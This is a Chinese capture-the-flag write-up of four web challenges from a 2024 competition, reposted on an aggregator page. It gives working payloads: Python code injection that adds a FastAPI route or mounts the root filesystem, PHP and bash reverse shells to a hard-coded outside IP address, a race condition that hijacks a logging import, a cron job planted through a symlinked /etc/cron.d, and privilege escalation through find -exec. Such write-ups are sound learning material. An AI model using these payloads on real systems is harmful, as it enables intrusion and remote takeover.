当前位置: 首页 > news >正文

【Web】巅峰极客2024 部分题解

目录

EncirclingGame

GoldenHornKing 

php_online 

admin_Test


EncirclingGame

玩赢游戏就行

GoldenHornKing 

利用点在传入的app

 可以打python内存马

/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());',{"app":app})

访问./flag

也可以挂载静态文件

/calc?calc_req=lipsum.__globals__['__builtins__'].exec("from fastapi.staticfiles import StaticFiles;app.mount('/static', StaticFiles(directory='/'), name='static')", {"app": app})

访问./static/flag

php_online 

先起一个id为aaaaaaa1的沙箱,反弹shell

<?php system('php -r \'$sock=fsockopen("124.222.136.33",1337);exec("sh <&3 >&3 2>&3");\'');?>

再起一个id为aaaaaaa2的沙箱,使得/sandbox/aaaaaaa2存在

再在aaaaaaa1环境里运行sh脚本条件竞争让init.py里import的恶意logging.py存在

init.py 中的logging会优先应用同目录下的logging.py,而非logging三方库

echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1338 0>&1\"')" > /tmp/logging.py
echo "while true; do" >> /tmp/exp.sh
echo "    cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" >> /tmp/exp.sh
echo "done" >> /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh

运行sh脚本后再进入aaaaaaa2环境,随便传一个<?php echo 1;?>触发sudo -u www-data python3 init.py

运行恶意logging.py后反弹shell拿到www-data权限

ps-aux

发现开着定时任务

开一个id为aaaaaaa3的沙箱

ln -s /etc/cron.d /sandbox/aaaaaaa3

再软链接定时任务目录

最后在aaaaaaa3的沙箱传入phpcode

* * * * * root cat /flag > /tmp/flag
# <?php sleep(1000);?>

<?php sleep(1000);?>是为了避免rm *将/sandbox/aaaaaaa3/phpcode给瞬删,从而给定时任务运行充足的时间

admin_Test

扫出来./admin.html

访问./admin.html

 可以上传文件,可以执行命令

命令部分fuzz出来的可用字符为t * . /,一眼执行临时文件. /t*/*

参考无字母数字rce(ctfshow web入门56)_过滤所有字母和数字的rce-CSDN博客

 

可以命令执行

但没法读/flag,考虑提权

可以打find提权

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;

 

http://www.lryc.cn/news/426964.html

相关文章:

  • 在AMD GPU上进行Grok-1模型的推理
  • 在亚马逊云科技上部署开源大模型并利用RAG和LangChain开发生成式AI应用
  • Spring——Bean的生命周期
  • 云计算实训30——自动化运维(ansible)
  • 网络性能优化:从问题诊断到解决方案
  • 深度学习10--强化学习
  • SSA-SVM多变量回归预测|樽海鞘群优化算法-支持向量机|Matalb
  • KEEPALIVED高可用集群知识大全
  • JavaWeb系列三: JavaScript学习 下
  • web开发,过滤器,前后端交互
  • CUDA-MODE 第一课课后实战(下)
  • PostgreSQL数据库内核(三):缓冲区管理器
  • [log4cplus]: 快速搭建分布式日志系统
  • redis I/O复用机制
  • Adobe PhotoShop - 制图操作
  • Mysql 中的Undo日志
  • 虹软科技25届校招笔试算法 A卷
  • C++ | Leetcode C++题解之第345题反转字符串中的元音字母
  • Kubernetes拉取阿里云的私人镜像
  • Leetcode每日刷题之118.杨辉三角
  • 【ARM 芯片 安全与攻击 5.2 -- 芯片中侧信道攻击与防御方法介绍】
  • XSS-games
  • 日撸Java三百行(day25:栈实现二叉树深度遍历之中序遍历)
  • 【vue讲解:ref属性、动态组件、插槽、vue-cli创建项目、vue项目目录介绍、vue项目开发规范、es6导入导出语法】
  • ubuntu:最新安装使用docker
  • Linux ssh 免密失效
  • k8s上部署ingress-controller
  • Android 13 about launcher3 (1)
  • 服务器数据恢复—raid5阵列热备盘未全部启用导致阵列崩溃的数据恢复案例
  • HTML—css